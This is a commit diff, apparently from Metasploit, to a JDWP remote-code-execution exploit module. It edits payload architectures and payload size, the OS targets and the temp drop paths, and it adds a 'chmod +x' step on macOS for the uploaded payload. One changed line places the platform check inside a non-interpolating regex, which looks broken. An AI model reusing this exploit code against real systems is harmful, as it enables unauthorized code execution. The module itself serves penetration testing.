bug/bundler_fix
Brent Cook 2017-08-22 16:48:09 -05:00
parent bb120962aa
commit 128949217e
1 changed files with 9 additions and 21 deletions

View File

@ -91,31 +91,19 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win osx },
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => %w{ linux osx win },
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
'Space' => 10000000,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'macOS (Native Payload)',
{
'Platform' => 'osx'
}
],
[ 'Windows (Native Payload)',
{
'Platform' => 'win'
}
]
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
@ -686,14 +674,14 @@ class MetasploitModule < Msf::Exploit::Remote
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'osx'
path = temp_path || '/tmp/'
path = temp_path || '/private/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
end
if @os.downcase =~ target['Platform']
if @os.downcase =~ /target['Platform']/
print_warning("#{@os} system detected but using #{target['Platform']} target...")
end
@ -898,7 +886,7 @@ class MetasploitModule < Msf::Exploit::Remote
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end